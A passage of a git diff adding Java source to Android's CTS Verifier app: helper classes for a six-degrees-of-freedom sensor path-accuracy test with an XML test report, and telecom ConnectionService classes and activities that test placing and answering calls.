+     * @throws WaypointStartPointException  if the location is not close enough to the start.
+     */
+    public void addWaypointDataToPath(
+            float[] coordinates, boolean userGenerated, Manager.Lap currentLap)
+            throws WaypointAreaCoveredException, WaypointDistanceException,
+            WaypointStartPointException, WaypointRingNotEnteredException {
+        mTestPath.createWaypointAndAddToPath(coordinates, userGenerated, currentLap);
+        runAdditionalMethods();
+    }
+
+    /**
+     * Abstract method that is used but subclasses.
+     */
+    protected abstract void runAdditionalMethods();
+
+    /**
+     * Removes the last marker from the chosen lap.
+     *
+     * @return true of the first marker false if any other marker
+     */
+    public boolean removeLastAddedMarker() {
+        return mTestPath.removeLastMarker();
+    }
+
+    /**
+     * Performs the tests for this test phase.
+     *
+     * @return the state of the tests, true if they pass false if they fail.
+     */
+    protected HashMap<BaseResultsDialog.ResultType, Boolean> executeTests(boolean includeMarkerTest, boolean includePathTest) {
+        HashMap<BaseResultsDialog.ResultType, Boolean> testResults = new HashMap<>();
+        if (includePathTest) {
+            testResults.put(BaseResultsDialog.ResultType.PATH, pathTest());
+        }
+        if (includeMarkerTest) {
+            testResults.put(BaseResultsDialog.ResultType.WAYPOINT, markerTest());
+        }
+        return testResults;
+    }
+
+    /**
+     * Calculates the difference between the markers of the laps and executes the marker related
+     * test.
+     *
+     * @return true if the test passes and false if the rest fails.
+     */
+    private boolean markerTest() {
+        float distance;
+        for (int i = 0; i < mReferencePath.getPathMarkersSize(); i++) {
+            distance = MathsUtils.distanceCalculationInXYZSpace(
+                    mReferencePath.getPathMarkers().get(i).getCoordinates(),
+                    mTestPath.getPathMarkers().get(i).getCoordinates());
+            mMarkerAccuracy.add(distance);
+        }
+        return markerAccuracyTest();
+    }
+
+    /**
+     * Runs a check to find any markers that have failed the test and adds them to the test report.
+     *
+     * @return true if the test passes and false if the rest fails
+     */
+    private boolean markerAccuracyTest() {
+        boolean testState = true;
+        for (float markerDifference : mMarkerAccuracy) {
+            if (markerDifference > mReferencePath.getFailureTolerance()) {
+                recordMarkerTestResults(markerDifference);
+                testState = false;
+            }
+        }
+        return testState;
+    }
+
+    /**
+     * Formats the failed markers into a string to add it to the test report.
+     *
+     * @param markerDifference the difference which caused the marker to fail
+     */
+    private void recordMarkerTestResults(float markerDifference) {
+        int markerNumber = mMarkerAccuracy.indexOf(markerDifference);
+        String referenceMarker = MathsUtils.coordinatesToString(
+                mReferencePath.getPathMarkers().get(markerNumber).getCoordinates());
+        String testMarker = MathsUtils.coordinatesToString(
+                mTestPath.getPathMarkers().get(markerNumber).getCoordinates());
+        String testDetails = mTestPhaseName +
+                " Marker Accuracy: Distance between the markers too great. Marker: " + markerNumber +
+                " Difference: " + markerDifference +
+                " Coordinates " + referenceMarker + " " + testMarker + "\n";
+        Log.e("Marker Result", testDetails);
+        mTestReport.setFailDetails(testDetails);
+    }
+
+    /**
+     * Executes the the path related tests.
+     *
+     * @return true if the test passes, false if the test fails
+     */
+    private boolean pathTest() {
+        mTestPathDistances = calculatePathDistance(mTestPath.getCurrentPath(), mTestPath.getPathMarkers());
+        calculatePathDifferences();
+        return pathAccuracyTest();
+    }
+
+    /**
+     * Calculates the distance between the markers for the given path.
+     *
+     * @param pathToCalculate The path that we want to calculate the distances for
+     * @param markers         The locations of the user generated markers in that path
+     * @return the list of distances for that path
+     */
+    protected ArrayList<Float> calculatePathDistance(ArrayList<Waypoint> pathToCalculate,
+                                                     ArrayList<Waypoint> markers) {
+        ArrayList<Float> pathDistances = new ArrayList<>();
+        float totalDistance, distance;
+        int currentLocation = pathToCalculate.indexOf(markers.get(0));
+
+        while (currentLocation < pathToCalculate.size() - 1) {
+            totalDistance = 0;
+            do {
+                distance = MathsUtils.distanceCalculationOnXYPlane(
+                        pathToCalculate.get(currentLocation).getCoordinates(),
+                        pathToCalculate.get(currentLocation + 1).getCoordinates());
+                totalDistance += distance;
+                currentLocation++;
+            } while (!pathToCalculate.get(currentLocation).isUserGenerated());
+            pathDistances.add(Math.abs(totalDistance));
+            if (currentLocation == markers.size() - 1) {
+                break;
+            }
+        }
+        return pathDistances;
+    }
+
+    /**
+     * Calculates the difference between paths on different laps.
+     */
+    private void calculatePathDifferences() {
+        float difference;
+
+        if (!mReferencePathDistances.isEmpty() && !mTestPathDistances.isEmpty()) {
+            for (int i = 0; i < mReferencePathDistances.size(); i++) {
+                difference = mReferencePathDistances.get(i) - mTestPathDistances.get(i);
+                mPathAccuracy.add(Math.abs(difference));
+            }
+        } else {
+            throw new AssertionError("calculatePathDifference has one of the arrays empty", null);
+        }
+    }
+
+    /**
+     * Checks to see if any of the path differences have failed the test and adds them to the test
+     * report.
+     *
+     * @return True if the test passes and false if there is a fail
+     */
+    private boolean pathAccuracyTest() {
+        boolean testState = true;
+        for (float path : mPathAccuracy) {
+            if (path > mReferencePath.getFailureTolerance()) {
+                recordPathTestResults(path);
+                testState = false;
+            }
+        }
+        return testState;
+    }
+
+    /**
+     * Formats the failed paths into a string to add it to the test report.
+     *
+     * @param difference The distance that failed the test
+     */
+    private void recordPathTestResults(float difference) {
+        int pathNumber = mPathAccuracy.indexOf(difference);
+        String referencePath = String.valueOf(mReferencePathDistances.get(pathNumber));
+        String testPath = String.valueOf(mTestPathDistances.get(pathNumber));
+        String testDetails = mTestPhaseName +
+                " Path Length: Path length difference was too great. Path: " + pathNumber +
+                " Difference: " + difference +
+                " Paths: " + referencePath + " " + testPath + "\n";
+        Log.e("Path Result", testDetails);
+        mTestReport.setFailDetails(testDetails);
+    }
+
+    /**
+     * Returns the makers in the test path.
+     */
+    public ArrayList<Waypoint> getTestPathMarkers() {
+        return mTestPath.getPathMarkers();
+    }
+
+    /**
+     * Returns the size of the current path.
+     */
+    public int getTestPathMarkersSize() {
+        return mTestPath.getPathMarkers().size();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestReport.java
new file mode 100644
index 0000000..aeeb8b3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/TestReport.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils;
+
+import android.content.Context;
+import android.os.Build;
+import android.util.Xml;
+
+import org.xmlpull.v1.XmlSerializer;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.Locale;
+
+/**
+ * Handles all the XML to print to the user.
+ */
+public class TestReport {
+
+    public enum TestStatus {
+        NOT_EXECUTED,
+        EXECUTED,
+        PASS,
+        FAIL,
+    }
+
+    private static final int REPORT_VERSION = 1;
+    private static DateFormat DATE_FORMAT = new SimpleDateFormat(
+            "EEE MMM dd HH:mm:ss z yyyy", Locale.ENGLISH);
+    private static final String TEST_RESULTS_REPORT_TAG = "test-results-report";
+    private static final String VERIFIER_INFO_TAG = "verifier-info";
+    private static final String DEVICE_INFO_TAG = "device-info";
+    private static final String BUILD_INFO_TAG = "build-info";
+    private static final String TEST_RESULTS_TAG = "test-results";
+    private static final String TEST_TAG = "test";
+    private static final String TEST_DETAILS_TAG = "details";
+    private String mTestStatus = "not-executed";
+    private Context mContext;
+    private ArrayList<String> mTestDetails = new ArrayList<>();
+
+    /**
+     * Sets the context of this test.
+     *
+     * @param context reference to the activity this test is in.
+     */
+    public TestReport(Context context) {
+        mContext = context;
+    }
+
+    /**
+     * Produces the XML for the test.
+     *
+     * @return the XML of the test to display.
+     */
+    public String getContents()
+            throws IllegalArgumentException, IllegalStateException, IOException {
+
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        XmlSerializer xml = Xml.newSerializer();
+
+        xml.setOutput(outputStream, "utf-8");
+        xml.setFeature("http://xmlpull.org/v1/doc/features.html#indent-output", true);
+        xml.startDocument("utf-8", true);
+
+        xml.startTag(null, TEST_RESULTS_REPORT_TAG);
+        xml.attribute(null, "report-version", Integer.toString(REPORT_VERSION));
+        xml.attribute(null, "creation-time", DATE_FORMAT.format(new Date()));
+
+        xml.startTag(null, VERIFIER_INFO_TAG);
+        xml.attribute(null, "version-name", Version.getVersionName(mContext));
+        xml.attribute(null, "version-code", Integer.toString(Version.getVersionCode(mContext)));
+        xml.endTag(null, VERIFIER_INFO_TAG);
+
+        xml.startTag(null, DEVICE_INFO_TAG);
+        xml.startTag(null, BUILD_INFO_TAG);
+        xml.attribute(null, "board", Build.BOARD);
+        xml.attribute(null, "brand", Build.BRAND);
+        xml.attribute(null, "device", Build.DEVICE);
+        xml.attribute(null, "display", Build.DISPLAY);
+        xml.attribute(null, "fingerprint", Build.FINGERPRINT);
+        xml.attribute(null, "id", Build.ID);
+        xml.attribute(null, "model", Build.MODEL);
+        xml.attribute(null, "product", Build.PRODUCT);
+        xml.attribute(null, "release", Build.VERSION.RELEASE);
+        xml.attribute(null, "sdk", Integer.toString(Build.VERSION.SDK_INT));
+        xml.endTag(null, BUILD_INFO_TAG);
+        xml.endTag(null, DEVICE_INFO_TAG);
+
+        xml.startTag(null, TEST_RESULTS_TAG);
+        xml.startTag(null, TEST_TAG);
+        xml.attribute(null, "title", "6dof accuracy test");
+        xml.attribute(null, "class-name", "com.android.cts.verifier.sixdof.Activities.TestActivity");
+
+        if (mTestDetails.isEmpty()) {
+            xml.attribute(null, "result", mTestStatus);
+        } else {
+            setTestState(TestStatus.FAIL);
+            xml.attribute(null, "result", mTestStatus);
+            xml.startTag(null, TEST_DETAILS_TAG);
+
+            for (int i = 0; i < mTestDetails.size(); i++) {
+                xml.text(mTestDetails.get(i));
+            }
+
+            xml.endTag(null, TEST_DETAILS_TAG);
+        }
+
+        xml.endTag(null, TEST_TAG);
+        xml.endTag(null, TEST_RESULTS_TAG);
+
+        xml.endTag(null, TEST_RESULTS_REPORT_TAG);
+        xml.endDocument();
+
+        return outputStream.toString("utf-8");
+    }
+
+    /**
+     * Adds the failed results to the details.
+     *
+     * @param failedPart the failed test result.
+     */
+    public void setFailDetails(String failedPart) {
+        mTestDetails.add(failedPart);
+    }
+
+    /**
+     * Sets the status the test is currently in.
+     *
+     * @param state the status the test is in.
+     */
+    public void setTestState(TestStatus state) {
+        switch (state) {
+            case EXECUTED:
+                mTestStatus = "executed";
+                break;
+            case PASS:
+                mTestStatus = "passed";
+                break;
+            case FAIL:
+                mTestStatus = "failed";
+                break;
+            case NOT_EXECUTED:
+                mTestStatus = "not-executed";
+                break;
+            default:
+                throw new AssertionError("TestExecuted default we should not be in", null);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Version.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Version.java
new file mode 100644
index 0000000..50af74f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Version.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils;
+
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+
+/**
+ * Taken from Android CTS Verifier.
+ */
+public class Version {
+    static String getVersionName(Context context) {
+        return getVersionNameStrings(context)[0];
+    }
+
+    static int getVersionCode(Context context) {
+        return getPackageInfo(context).versionCode;
+    }
+
+    static private String[] getVersionNameStrings(Context context) {
+        return getPackageInfo(context).versionName.split(" ");
+    }
+
+    static PackageInfo getPackageInfo(Context context) {
+        try {
+            PackageManager packageManager = context.getPackageManager();
+            return packageManager.getPackageInfo(context.getPackageName(), 0);
+        } catch (NameNotFoundException e) {
+            throw new RuntimeException("Could not get find package information for "
+                    + context.getPackageName());
+        }
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
new file mode 100644
index 0000000..c004b73
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnection.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.telecom;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.telecom.CallAudioState;
+import android.telecom.Connection;
+import android.telecom.DisconnectCause;
+import android.telecom.VideoProfile;
+
+import com.android.cts.verifier.R;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An implementation of the {@link android.telecom.Connection} class used by the
+ * {@link CtsConnectionService}.
+ */
+public class CtsConnection extends Connection {
+    /**
+     * Listener used to inform the CtsVerifier app of changes to a connection.
+     */
+    public static abstract class Listener {
+        void onDestroyed(CtsConnection connection) { };
+        void onDisconnect(CtsConnection connection) { };
+        void onHold(CtsConnection connection) { };
+        void onUnhold(CtsConnection connection) { };
+        void onAnswer(CtsConnection connection, int videoState) { };
+        void onReject(CtsConnection connection) { };
+        void onShowIncomingCallUi(CtsConnection connection) { };
+    }
+
+    public static final String EXTRA_PLAY_CS_AUDIO =
+            "com.android.cts.verifier.telecom.PLAY_CS_AUDIO";
+
+    private final boolean mIsIncomingCall;
+    private final Listener mListener;
+    private final MediaPlayer mMediaPlayer;
+    private final Context mContext;
+    private CountDownLatch mWaitForCallAudioStateChanged = new CountDownLatch(1);
+
+    public CtsConnection(Context context, boolean isIncomingCall,
+            Listener listener, boolean hasAudio) {
+        mContext = context;
+        mIsIncomingCall = isIncomingCall;
+        mListener = listener;
+        if (hasAudio) {
+            mMediaPlayer = createMediaPlayer();
+        } else {
+            mMediaPlayer = null;
+        }
+    }
+
+    public boolean isIncomingCall() {
+        return mIsIncomingCall;
+    }
+
+    @Override
+    public void onDisconnect() {
+        setDisconnectedAndDestroy(new DisconnectCause(DisconnectCause.LOCAL));
+
+        if (mListener != null) {
+            mListener.onDisconnect(this);
+        }
+    }
+
+
+    @Override
+    public void onHold() {
+        setOnHold();
+
+        if (mListener != null) {
+            mListener.onHold(this);
+        }
+    }
+
+    @Override
+    public void onUnhold() {
+        setActive();
+
+        if (mListener != null) {
+            mListener.onUnhold(this);
+        }
+    }
+
+    @Override
+    public void onAnswer(int videoState) {
+        setVideoState(videoState);
+        setActive();
+
+        if (mMediaPlayer != null && !mMediaPlayer.isPlaying()) {
+            mMediaPlayer.start();
+        }
+
+        if (mListener != null) {
+            mListener.onAnswer(this, videoState);
+        }
+    }
+
+    @Override
+    public void onAnswer() {
+        onAnswer(VideoProfile.STATE_AUDIO_ONLY);
+    }
+
+    @Override
+    public void onReject() {
+        setDisconnectedAndDestroy(new DisconnectCause(DisconnectCause.REJECTED));
+
+        if (mListener != null) {
+            mListener.onReject(this);
+        }
+    }
+
+    @Override
+    public void onShowIncomingCallUi() {
+        if (mListener != null) {
+            mListener.onShowIncomingCallUi(this);
+        }
+    }
+
+    public void onCallAudioStateChanged(CallAudioState state) {
+        mWaitForCallAudioStateChanged.countDown();
+        mWaitForCallAudioStateChanged = new CountDownLatch(1);
+
+    }
+
+    public void waitForAudioStateChanged() {
+        try {
+            mWaitForCallAudioStateChanged.await(CtsConnectionService.TIMEOUT_MILLIS,
+                    TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+        }
+    }
+
+    private void setDisconnectedAndDestroy(DisconnectCause cause) {
+        setDisconnected(cause);
+        destroy();
+
+        if (mMediaPlayer != null && mMediaPlayer.isPlaying()) {
+            mMediaPlayer.stop();
+        }
+
+        if (mListener != null) {
+            mListener.onDestroyed(this);
+        }
+    }
+
+    private MediaPlayer createMediaPlayer() {
+        AudioAttributes voiceCallAttributes = new AudioAttributes.Builder()
+                .setContentType(AudioAttributes.CONTENT_TYPE_SPEECH)
+                .setUsage(AudioAttributes.USAGE_VOICE_COMMUNICATION)
+                .build();
+        int audioSessionId = ((AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE))
+                .generateAudioSessionId();
+        // Prepare the media player to play a tone when there is a call.
+        MediaPlayer mediaPlayer = MediaPlayer.create(mContext, R.raw.telecom_test_call_audio,
+                voiceCallAttributes, audioSessionId);
+        mediaPlayer.setLooping(true);
+        return mediaPlayer;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
index 5ff3138..7cfcbf8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java
@@ -16,12 +16,144 @@
 
 package com.android.cts.verifier.telecom;
 
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.Connection;
+import android.telecom.ConnectionRequest;
 import android.telecom.ConnectionService;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * CTS Verifier ConnectionService implementation.
  */
 public class CtsConnectionService extends ConnectionService {
+    static final int TIMEOUT_MILLIS = 10000;
 
+    private CtsConnection.Listener mConnectionListener =
+            new CtsConnection.Listener() {
+                @Override
+                void onDestroyed(CtsConnection connection) {
+                    synchronized (mConnectionsLock) {
+                        mConnections.remove(connection);
+                    }
+                }
+            };
 
+    private static CtsConnectionService sConnectionService;
+    private static CountDownLatch sBindingLatch = new CountDownLatch(1);
+
+    private List<CtsConnection> mConnections = new ArrayList<>();
+    private Object mConnectionsLock = new Object();
+    private CountDownLatch mConnectionLatch = new CountDownLatch(1);
+
+    public static CtsConnectionService getConnectionService() {
+        return sConnectionService;
+    }
+
+    public static CtsConnectionService waitForAndGetConnectionService() {
+        if (sConnectionService == null) {
+            try {
+                sBindingLatch.await(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+            }
+        }
+        return sConnectionService;
+    }
+
+    public CtsConnectionService() throws Exception {
+        super();
+        sConnectionService = this;
+        if (sBindingLatch != null) {
+            sBindingLatch.countDown();
+        }
+        sBindingLatch = new CountDownLatch(1);
+    }
+
+    public List<CtsConnection> getConnections() {
+        synchronized (mConnectionsLock) {
+            return new ArrayList<CtsConnection>(mConnections);
+        }
+    }
+
+    public CtsConnection waitForAndGetConnection() {
+        try {
+            mConnectionLatch.await(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+        }
+        mConnectionLatch = new CountDownLatch(1);
+        synchronized (mConnectionsLock) {
+            if (mConnections.size() > 0) {
+                return mConnections.get(0);
+            } else {
+                return null;
+            }
+        }
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sConnectionService = null;
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public Connection onCreateOutgoingConnection(PhoneAccountHandle connectionManagerAccount,
+                                                 final ConnectionRequest request) {
+
+        return createManagedConnection(request, false);
+    }
+
+    @Override
+    public Connection onCreateIncomingConnection(PhoneAccountHandle connectionManagerPhoneAccount,
+                                                 ConnectionRequest request) {
+
+        return createManagedConnection(request, true);
+    }
+
+    @Override
+    public void onCreateIncomingConnectionFailed(PhoneAccountHandle connectionManagerHandle,
+                                                 ConnectionRequest request) {
+    }
+
+    @Override
+    public void onCreateOutgoingConnectionFailed(PhoneAccountHandle connectionManagerHandle,
+                                                 ConnectionRequest request) {
+    }
+
+    private Connection createManagedConnection(ConnectionRequest request, boolean isIncoming) {
+        boolean isSelfManaged = request.getAccountHandle().equals(
+                PhoneAccountUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE);
+
+        boolean useAudioClip =
+                request.getExtras().getBoolean(CtsConnection.EXTRA_PLAY_CS_AUDIO, false);
+        CtsConnection connection = new CtsConnection(getApplicationContext(), isIncoming,
+                mConnectionListener, useAudioClip);
+        if (isSelfManaged) {
+            connection.setConnectionProperties(Connection.PROPERTY_SELF_MANAGED);
+        }
+        connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
+                Connection.CAPABILITY_HOLD);
+        connection.setAddress(request.getAddress(), TelecomManager.PRESENTATION_ALLOWED);
+        connection.setExtras(request.getExtras());
+
+        Bundle moreExtras = new Bundle();
+        moreExtras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                request.getAccountHandle());
+        connection.putExtras(moreExtras);
+        connection.setVideoState(request.getVideoState());
+
+        synchronized (mConnectionsLock) {
+            mConnections.add(connection);
+        }
+        if (mConnectionLatch != null) {
+            mConnectionLatch.countDown();
+        }
+        return connection;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
new file mode 100644
index 0000000..d80924c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/IncomingCallTestActivity.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.telecom;
+
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.Connection;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ImageView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.List;
+
+/**
+ * Tests that an incoming call made from an enabled ConnectionService will ring the phone and be
+ * able to be answered.
+ */
+public class IncomingCallTestActivity extends PassFailButtons.Activity {
+
+    private Button mRegisterAndEnablePhoneAccount;
+    private Button mConfirmPhoneAccountEnabled;
+    private Button mAddIncomingCall;
+    private Button mConfirmIncomingCallAnswered;
+
+    private ImageView mStep1Status;
+    private ImageView mStep2Status;
+    private ImageView mStep3Status;
+
+    private Uri TEST_DIAL_NUMBER = Uri.fromParts("tel", "5551212", null);
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.telecom_incoming_call, null);
+        setContentView(view);
+        setInfoResources(R.string.telecom_incoming_call_test,
+                R.string.telecom_incoming_call_test_info, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mRegisterAndEnablePhoneAccount = view.findViewById(
+                R.id.telecom_incoming_call_register_enable_phone_account_button);
+        if (mRegisterAndEnablePhoneAccount == null) {
+            finish();
+            return;
+        }
+        mRegisterAndEnablePhoneAccount.setOnClickListener(v -> {
+            PhoneAccountUtils.registerTestPhoneAccount(this);
+            PhoneAccount account = PhoneAccountUtils.getPhoneAccount(this);
+            if (account != null) {
+                // Open the phone accounts screen to have the user set CtsConnectionService as
+                // the default.
+                Intent intent = new Intent(TelecomManager.ACTION_CHANGE_PHONE_ACCOUNTS);
+                startActivity(intent);
+
+                mConfirmPhoneAccountEnabled.setEnabled(true);
+            } else {
+                mStep1Status.setImageResource(R.drawable.fs_error);
+            }
+        });
+
+        mConfirmPhoneAccountEnabled = view.findViewById(R.id
+                .telecom_incoming_call_confirm_register_button);
+        if (mConfirmPhoneAccountEnabled == null) {
+            finish();
+            return;
+        }
+        mConfirmPhoneAccountEnabled.setOnClickListener(v -> {
+            PhoneAccount account = PhoneAccountUtils.getPhoneAccount(this);
+            if (account != null && account.isEnabled()) {
+                getPassButton().setEnabled(true);
+                mStep1Status.setImageResource(R.drawable.fs_good);
+                mConfirmPhoneAccountEnabled.setEnabled(false);
+            } else {
+                mStep1Status.setImageResource(R.drawable.fs_error);
+            }
+        });
+
+        mConfirmPhoneAccountEnabled.setEnabled(false);
+
+        mAddIncomingCall = view.findViewById(R.id.telecom_incoming_call_dial_button);
+        if (mAddIncomingCall == null) {
+            finish();
+            return;
+        }
+        mAddIncomingCall.setOnClickListener(v -> {
+            Bundle extras = new Bundle();
+            extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, TEST_DIAL_NUMBER);
+            extras.putBoolean(CtsConnection.EXTRA_PLAY_CS_AUDIO, true);
+            TelecomManager telecomManager =
+                    (TelecomManager) getSystemService(Context.TELECOM_SERVICE);
+            if (telecomManager == null) {
+                mStep2Status.setImageResource(R.drawable.fs_error);
+                return;
+            }
+            telecomManager.addNewIncomingCall(PhoneAccountUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
+            mStep2Status.setImageResource(R.drawable.fs_good);
+        });
+
+        mConfirmIncomingCallAnswered = view.findViewById(R.id.telecom_incoming_call_confirm_button);
+        if (mConfirmIncomingCallAnswered == null) {
+            finish();
+            return;
+        }
+        mConfirmIncomingCallAnswered.setOnClickListener(v -> {
+            if (confirmIncomingCall()) {
+                mStep3Status.setImageResource(R.drawable.fs_good);
+            } else {
+                mStep3Status.setImageResource(R.drawable.fs_error);
+            }
+            PhoneAccountUtils.unRegisterTestPhoneAccount(this);
+        });
+
+        mStep1Status = view.findViewById(R.id.step_1_status);
+        mStep2Status = view.findViewById(R.id.step_2_status);
+        mStep3Status = view.findViewById(R.id.step_3_status);
+        mStep1Status.setImageResource(R.drawable.fs_indeterminate);
+        mStep2Status.setImageResource(R.drawable.fs_indeterminate);
+        mStep3Status.setImageResource(R.drawable.fs_indeterminate);
+    }
+
+    private boolean confirmIncomingCall() {
+        if (CtsConnectionService.getConnectionService() == null) {
+            return false;
+        }
+        List<CtsConnection> ongoingConnections =
+                CtsConnectionService.getConnectionService().getConnections();
+        if (ongoingConnections == null || ongoingConnections.size() != 1) {
+            return false;
+        }
+        CtsConnection incomingConnection = ongoingConnections.get(0);
+        if (!incomingConnection.isIncomingCall()) {
+            return false;
+        }
+        if (incomingConnection.getState() != Connection.STATE_ACTIVE) {
+            return false;
+        }
+        incomingConnection.onDisconnect();
+        return true;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
new file mode 100644
index 0000000..5f5c605
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/OutgoingCallTestActivity.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.telecom;
+
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ImageView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.List;
+
+/**
+ * Tests that an outgoing call made from the default dialer on the system is able to connect to
+ * the CtsConnectionService.
+ */
+public class OutgoingCallTestActivity extends PassFailButtons.Activity {
+
